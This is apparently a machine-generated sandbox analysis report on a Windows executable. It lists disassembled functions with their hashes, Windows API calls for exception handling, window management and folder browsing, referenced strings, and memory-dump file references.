API ID: Prop$ErrorFrameLastNtdllParentProcProc_Window
String ID: PB_MDI_Gadget
API String ID: 1329112550-983833826
Opcode ID: a920dc6d61c317e893ad275446e30ae2ed6098b98c1468e5617982f14b082a6e
Instruction ID: ade2ebb50fd92f58ae0ad3d0689d10ea9bcfa41fb33ca2ed9d154264829cb94a
Opcode Fuzzy Hash: a920dc6d61c317e893ad275446e30ae2ed6098b98c1468e5617982f14b082a6e
Instruction Fuzzy Hash: 8F111872901619AFDB209E449D88EBF7A7CEB45751F010037F915B22818778BC61DAAA

Function 00403B70 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(0;@,00401302,00000000), ref: 00403BAC
SetUnhandledExceptionFilter.KERNEL32(00000000,00401302,00000000), ref: 00403BC0

Strings

0;@, xrefs: 00403B70
0;@, xrefs: 00403B90, 00403BAB

Memory Dump Source

Source File: 00000001.00000002.2756276210.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2756241935.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000409000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756411953.00000000004C3000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756434708.00000000004C5000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ .jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID: 0;@$0;@
API String ID: 3192549508-1108649562
Opcode ID: 17e2f879ba2802d5228fc4bc7392b6e56146e86dabbf6e7f46aef808ca8da191
Instruction ID: 0d807a84263d1bb0884b5e8a86140cc1ab27614e37fc76056ab1af4718f505d2
Opcode Fuzzy Hash: 17e2f879ba2802d5228fc4bc7392b6e56146e86dabbf6e7f46aef808ca8da191
Instruction Fuzzy Hash: BFF0C9B4504300DBC701CF54DA6CA067BF8FB48746F00C53AE905A7261C778D910DB5E

Function 00403CD7 Relevance: 3.1, APIs: 2, Instructions: 75COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?), ref: 00403CF8
GetVersionExA.KERNEL32(?), ref: 00403D2C

Memory Dump Source

Source File: 00000001.00000002.2756276210.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2756241935.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000409000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756411953.00000000004C3000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756434708.00000000004C5000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ .jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: 2f668e18bf534e839adff29b041a0c57d0d6119f9984ad761304b36825eead9b
Instruction ID: 64dd58ad121c3308c00289ce2c9b9cfa90ada999bc39041fec26db6c1a637471
Opcode Fuzzy Hash: 2f668e18bf534e839adff29b041a0c57d0d6119f9984ad761304b36825eead9b
Instruction Fuzzy Hash: 47117231644A0A95EF309E689845FAF7EACAF00743F140037A201B53D4E67C8B86C66F

Function 0046E5E9 Relevance: 2.1, Strings: 1, Instructions: 832COMMON

Download Yara Rule

Strings

-, xrefs: 0046ECCC

Memory Dump Source

Source File: 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2756241935.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000401000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000409000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756411953.00000000004C3000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756434708.00000000004C5000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ .jbxd

Similarity

API ID:
String ID: -
API String ID: 0-2547889144
Opcode ID: 88b241b76bfaf1e5bd9491961cd99152fc126292505aae8cd983aa4a9e870cbc
Instruction ID: 6ce90ec67530ff9c4a70fbf26a1c56785b858b8d4a11dc38e6bfc55cf4a1fc9d
Opcode Fuzzy Hash: 88b241b76bfaf1e5bd9491961cd99152fc126292505aae8cd983aa4a9e870cbc
Instruction Fuzzy Hash: 3E52DD75A002199BDF28EFA2D891BFE7BF5EF50304F10042BE45197291FB399A45CB4A

Function 004505FD Relevance: 2.1, Strings: 1, Instructions: 816COMMON

Download Yara Rule

Strings

-, xrefs: 00450CD5

Memory Dump Source

Source File: 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2756241935.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000401000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000409000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756411953.00000000004C3000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756434708.00000000004C5000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ .jbxd

Similarity

API ID:
String ID: -
API String ID: 0-2547889144
Opcode ID: e0e540e9102fe430c7b1a7d576c2b2bd5b3c2b6aec879977d97a9a3c8256f244
Instruction ID: cbccb0392aa75edf3bb1ca3a89d11557c9d082d24ddc0b4109360b67a320a75f
Opcode Fuzzy Hash: e0e540e9102fe430c7b1a7d576c2b2bd5b3c2b6aec879977d97a9a3c8256f244
Instruction Fuzzy Hash: F352D1768002199EEF24EFA5D891BFE77B1FF60306F14001FEC5196296EB389949CB49

Function 0046DCF9 Relevance: 1.9, Strings: 1, Instructions: 687COMMON

Download Yara Rule

Strings

&A, xrefs: 0046DCF9

Memory Dump Source

Source File: 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2756241935.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000401000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000409000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756411953.00000000004C3000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756434708.00000000004C5000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ .jbxd

Similarity

API ID:
String ID: &A
API String ID: 0-640968382
Opcode ID: 456b9ffa0c907007d79c59e5575a278ccfa93640771f3b16d84059a18a1ad1b1
Instruction ID: e3960f6c844300372037654337779518db30038930825de93783d1448768a90a
Opcode Fuzzy Hash: 456b9ffa0c907007d79c59e5575a278ccfa93640771f3b16d84059a18a1ad1b1
Instruction Fuzzy Hash: B042D575E00219DADF20DFA6D841BEEBBF5EF54308F10406BE415A3281FB785A85CB5A

Function 00403CC0 Relevance: 1.5, APIs: 1, Instructions: 5COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,00401BC3,00401BA9,00000001,00000010,OPS,00000000,00000000,00000000), ref: 00403CC6

Memory Dump Source

Source File: 00000001.00000002.2756276210.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2756241935.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000409000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756411953.00000000004C3000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756434708.00000000004C5000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ .jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: f8f2f79aa34fb376b4ff93ccc1e767401dfd8d2f51a53d49510acf97ab4a8a46
Instruction ID: d47e0acefe1b07befbc1d549b34453376f7af543b511f3b2cf7c13f8ad3f3650
Opcode Fuzzy Hash: f8f2f79aa34fb376b4ff93ccc1e767401dfd8d2f51a53d49510acf97ab4a8a46
Instruction Fuzzy Hash: 51B001B9500308DBDB019FA4EE7CB557BB8F74C785F848669EE01AB260C7789414CB9D

Function 00458AB9 Relevance: 1.4, Strings: 1, Instructions: 153COMMON

Download Yara Rule

Strings

=, xrefs: 00458C32

Memory Dump Source

Source File: 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2756241935.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000401000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000409000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756411953.00000000004C3000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756434708.00000000004C5000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ .jbxd

Similarity

API ID:
String ID: =
API String ID: 0-2322244508
Opcode ID: b43c0cb6ebff51bcd43314de3eac60bbb8636a68a2350b2612eb937acff3f499
Instruction ID: 12ca28742db18793fbd873760c6c1f3c4a8c36a766a4e938dab0c427f684426e
Opcode Fuzzy Hash: b43c0cb6ebff51bcd43314de3eac60bbb8636a68a2350b2612eb937acff3f499
Instruction Fuzzy Hash: EA516C719051989BDB1ADFA4C8907FE7BA69F55304F08806FEC425B346CF38CA0AC790

Function 00476B26 Relevance: 1.4, Strings: 1, Instructions: 153COMMON

Download Yara Rule

Strings

=, xrefs: 00476C9F

Memory Dump Source

Source File: 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2756241935.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000401000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000409000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756411953.00000000004C3000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756434708.00000000004C5000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ .jbxd

Similarity

API ID:
String ID: =
API String ID: 0-2322244508
Opcode ID: 1e173fa4e2546f1c85787d41b8c1006a380a547f4df810c66ff47e0868e57343
Instruction ID: 63e3b3a017a833473f7562562c3bc60631c0a01d39b52c8fee5794a5c52904e5
Opcode Fuzzy Hash: 1e173fa4e2546f1c85787d41b8c1006a380a547f4df810c66ff47e0868e57343
Instruction Fuzzy Hash: 18517B316041958FCB1ADFA4D8607FE7BA2DF85304F1AC06FE8864B345CB389A0AC785

Function 00458EAF Relevance: .9, Instructions: 882COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2756241935.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000401000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000409000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756411953.00000000004C3000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756434708.00000000004C5000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8f3497fc24e1cd944007e57d88c19ca3353d8baffd49f88a051de726f2628f5
Instruction ID: 3e0795eb92d8dff9949ecb97bd3ceb7c057b185ef35ec5c5bf3f565494d8f3f8
Opcode Fuzzy Hash: e8f3497fc24e1cd944007e57d88c19ca3353d8baffd49f88a051de726f2628f5
Instruction Fuzzy Hash: 13629533F046394BDB1CCE9A88E04EDB7A3AAC821470FC27DCD5667756C9B86906C794

Function 00476F1D Relevance: .9, Instructions: 882COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2756241935.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000401000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000409000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756411953.00000000004C3000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756434708.00000000004C5000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8f3497fc24e1cd944007e57d88c19ca3353d8baffd49f88a051de726f2628f5
Instruction ID: 3e0795eb92d8dff9949ecb97bd3ceb7c057b185ef35ec5c5bf3f565494d8f3f8
Opcode Fuzzy Hash: e8f3497fc24e1cd944007e57d88c19ca3353d8baffd49f88a051de726f2628f5
Instruction Fuzzy Hash: 13629533F046394BDB1CCE9A88E04EDB7A3AAC821470FC27DCD5667756C9B86906C794

Function 0044FD0D Relevance: .7, Instructions: 687COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2756241935.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000401000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000409000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756411953.00000000004C3000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756434708.00000000004C5000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fab9ec5693c3c7973fbb4e11270f39259d068c2678b2f4dcfbcff9c439a582c6
Instruction ID: 748456e88614d7738b97bf786093bfb8eab34445ceffc70da693f56639814664
Opcode Fuzzy Hash: fab9ec5693c3c7973fbb4e11270f39259d068c2678b2f4dcfbcff9c439a582c6
Instruction Fuzzy Hash: A642B875D002199BEF10EBA5CC85BEEB7B4EF14315F10005FE905A7282EB789D89CB59

Function 00406C10 Relevance: .6, Instructions: 601COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2756276210.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2756241935.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000409000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756411953.00000000004C3000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756434708.00000000004C5000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1d082fc67961cf9c9017bdebd9d0fdabf83cbc1f99fd689fd60a11460bf935a
Instruction ID: 7102d13b211e639c190c95f68438129d24ba1901ff3681f10da7641a22d18450
Opcode Fuzzy Hash: a1d082fc67961cf9c9017bdebd9d0fdabf83cbc1f99fd689fd60a11460bf935a
Instruction Fuzzy Hash: 7A12D3BBA557124BD708CA55CC80295B3E3BBC8364B1F913DD959D3305EEB9BA0B46C0

Function 004573F1 Relevance: .2, Instructions: 191COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2756241935.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000401000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000409000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756411953.00000000004C3000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756434708.00000000004C5000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1d98015a32338c6a00b6d769ff57e7c37ca392ba9b638aadb517c32b1555ce8
Instruction ID: bb7e76779ccd5622a2b89c859f93bd206b9abd56b3e94d3b51046805e64bce7e
Opcode Fuzzy Hash: e1d98015a32338c6a00b6d769ff57e7c37ca392ba9b638aadb517c32b1555ce8
Instruction Fuzzy Hash: 04514831A042495BEB08DFA9D491AEE3796CBA5310F14C43EEC15CB287D939C947CB54

Function 0047544D Relevance: .2, Instructions: 191COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2756241935.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000401000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000409000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756411953.00000000004C3000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756434708.00000000004C5000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 909535e44158d996768af987177f61606b68f270ea5adb28a075fb92116d746e
Instruction ID: 930dcccb4798f1d9cf40a700622593cf688d7ed903cfe1559e7968c5cd7bc951
Opcode Fuzzy Hash: 909535e44158d996768af987177f61606b68f270ea5adb28a075fb92116d746e
Instruction Fuzzy Hash: F9513531B042455FEB18DFAAD8A27EE3797DBD4310F10C42EE819CB286E9798902CF15

Function 00457D75 Relevance: .1, Instructions: 131COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2756241935.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000401000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000409000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756411953.00000000004C3000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756434708.00000000004C5000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0fe38a771798dd2f8fc17d9a5c336f245a58f38a1fa94597ec8d34af7b2b7f39
Instruction ID: 7613c8e7aab1933d09eacacd2e8c877676ac71cc1fcfc62aa2a2bd2544e95ee3
Opcode Fuzzy Hash: 0fe38a771798dd2f8fc17d9a5c336f245a58f38a1fa94597ec8d34af7b2b7f39
Instruction Fuzzy Hash: AD418E3154F3C18FC743877889691913FB2AE6B26932E45DFC8C19F577D26A080ACB62

Function 004598D3 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2756241935.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000401000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000409000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756411953.00000000004C3000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756434708.00000000004C5000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4085d84cf31177a4f54e63345dafba999913b917ede83076b8bb7559e55b031b
Instruction ID: ab2fa9fc806f892d44c030ba35b704baebff2206fd97f31db8f7c0752b54ab67
Opcode Fuzzy Hash: 4085d84cf31177a4f54e63345dafba999913b917ede83076b8bb7559e55b031b
Instruction Fuzzy Hash: 56315C1210A7D49FC72AC76C58A58EAFFE58EA720071DC9CCD8CA5B753C560E908C7A2

Function 00477941 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2756241935.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000401000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000409000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756411953.00000000004C3000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756434708.00000000004C5000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ .jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1a1604f8e7e8376107c94d5bab83eb31d0297df03f598431bfbb0360b518c33
Instruction ID: 5292b430800b5474c8cfe93aaafa41033e31c3c0d59109b02c20be76f09ff95a
Opcode Fuzzy Hash: e1a1604f8e7e8376107c94d5bab83eb31d0297df03f598431bfbb0360b518c33
Instruction Fuzzy Hash: F4317C1210E7D49FC72AC76C94A58EAFFE18EA720075DC9CCD4CA6B753C560A508CBA2

Function 0040523F Relevance: 46.8, APIs: 31, Instructions: 333windowkeyboardCOMMON

Download Yara Rule

APIs

SystemParametersInfoA.USER32(00000026,00000000,?,00000000), ref: 00405290
GetWindowRect.USER32(?,00000010), ref: 004052B8
GetWindowRect.USER32(?,00000020), ref: 004052C1
GetSystemMetrics.USER32(0000003D), ref: 004052D1
GetSystemMetrics.USER32(0000003E), ref: 004052D8
GetWindowLongA.USER32(?,000000F0), ref: 004052E2
GetSystemMetrics.USER32(00000005), ref: 004052F1
GetWindowLongA.USER32(?,000000EC), ref: 004052FC
GetSystemMetrics.USER32(0000002D), ref: 0040530A
GetSystemMetrics.USER32(0000002E), ref: 00405311
GetSystemMetrics.USER32(00000022), ref: 00405320
GetSystemMetrics.USER32(00000023), ref: 00405327
GetSystemMetrics.USER32(0000003B), ref: 0040532E
GetSystemMetrics.USER32(0000003C), ref: 00405335
SendMessageA.USER32(?,00000024,00000000,00000034), ref: 0040534A
GetKeyState.USER32(00000001), ref: 0040534E
SendMessageA.USER32(?,00000201,00000001,00000000), ref: 00405364
SetCapture.USER32(?), ref: 00405369
PostMessageA.USER32(?,00000231,00000000,00000000), ref: 00405379
GetCursorPos.USER32(-00000008), ref: 0040538F
LoadImageA.USER32(00000000,00007F86,00000002,00000000,00000000,00008040), ref: 004053A4
SetCursor.USER32(00000000), ref: 004053AB
MapWindowPoints.USER32(?,00000000,?,00000001), ref: 004053E7
SendMessageA.USER32(?,00000214,?,00000010), ref: 0040540A

Memory Dump Source

Source File: 00000001.00000002.2756276210.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2756241935.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000409000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756411953.00000000004C3000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756434708.00000000004C5000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ .jbxd

Similarity

API ID: System$Metrics$Window$Message$Send$CursorLongRect$CaptureImageInfoLoadParametersPointsPostState
String ID:
API String ID: 985555588-0
Opcode ID: 63a5c3357b4a5747b66d9db94d4487f7d6bcd7bda56f759a115c6535e61ab02f
Instruction ID: 205061af9d75e53c44399c3ed0056efb24790ccb844f4c24922cd61c836d760d
Opcode Fuzzy Hash: 63a5c3357b4a5747b66d9db94d4487f7d6bcd7bda56f759a115c6535e61ab02f
Instruction Fuzzy Hash: 38C1A071A10A0ABFDB10AF60CD88ABB7B75FB04340F50453BF505A66D0D779A8A1CF99

Function 00404B03 Relevance: 28.2, APIs: 14, Strings: 2, Instructions: 238memoryregistryCOMMON

Download Yara Rule

APIs

sprintf.MSVCRT ref: 00404B46
memset.MSVCRT ref: 00404B63
RegisterClassA.USER32(?), ref: 00404BA8
AdjustWindowRect.USER32(?,00000010,00000000), ref: 00404C01
GetSystemMetrics.USER32(00000000), ref: 00404C3E
GetSystemMetrics.USER32(00000001), ref: 00404C58
GetActiveWindow.USER32 ref: 00404C7F
GetWindowRect.USER32(?,?), ref: 00404C8E
CreateWindowExA.USER32(00000000,?,?,00000010,?,?,00000001,?,?,00000000,00000000), ref: 00404CEF
SetPropA.USER32(00000000,PB_WindowID,00000100), ref: 00404D0C
ShowWindow.USER32(00000000,00000001), ref: 00404D33
RtlAllocateHeap.NTDLL(00000000,0000000C), ref: 00404D58
CreateAcceleratorTableA.USER32(?,?), ref: 00404D95
UnregisterClassA.USER32(?), ref: 00404DC9

Part of subcall function 004066BB: memset.MSVCRT ref: 004066D8

Strings

PB_WindowID, xrefs: 00404D06
WindowClass_%d, xrefs: 00404B40

Memory Dump Source

Source File: 00000001.00000002.2756276210.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2756241935.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000409000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000420000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756411953.00000000004C3000.00000080.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756434708.00000000004C5000.00000004.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_ .jbxd

Similarity

API ID: Window$ClassCreateMetricsRectSystemmemset$AcceleratorActiveAdjustAllocateHeapPropRegisterShowTableUnregistersprintf
String ID: PB_WindowID$WindowClass_%d
API String ID: 1820370190-2937193648
Opcode ID: 063ace8527f72d1ec566d245578ff32e7f27e017082b94de6c0a8473836dc150
Instruction ID: 28adbf0df4d083847e84d8171d787dae0ee48a8b621b34b8ec1d13c8ba578f25
Opcode Fuzzy Hash: 063ace8527f72d1ec566d245578ff32e7f27e017082b94de6c0a8473836dc150
Instruction Fuzzy Hash: 3CA17AB190020ADFDB10CF69D989B9EBBF4FF44344F14862AF954A32A0D778D950CB99

Function 004036F8 Relevance: 24.6, APIs: 10, Strings: 4, Instructions: 106librarystringloaderCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00403718
memset.MSVCRT ref: 00403725
LoadLibraryA.KERNEL32(SHELL32.DLL), ref: 00403732
strncpy.MSVCRT ref: 00403763
strlen.MSVCRT ref: 00403772
GetProcAddress.KERNEL32(?,SHBrowseForFolder), ref: 0040379C
GetProcAddress.KERNEL32(?,SHGetPathFromIDList), ref: 004037EB
CoTaskMemFree.COMBASE(?), ref: 00403806
strlen.MSVCRT ref: 0040380D
FreeLibrary.KERNEL32(?,00000000), ref: 00403829

Strings

SHBrowseForFolder, xrefs: 00403794
SHGetPathFromIDList, xrefs: 004037E3
@, xrefs: 004037B7
SHELL32.DLL, xrefs: 0040372D

Memory Dump Source

Source File: 00000001.00000002.2756276210.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2756241935.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.2756276210.0000000000409000.00000040.00000001.01000000.00000005.sdmpDownload File
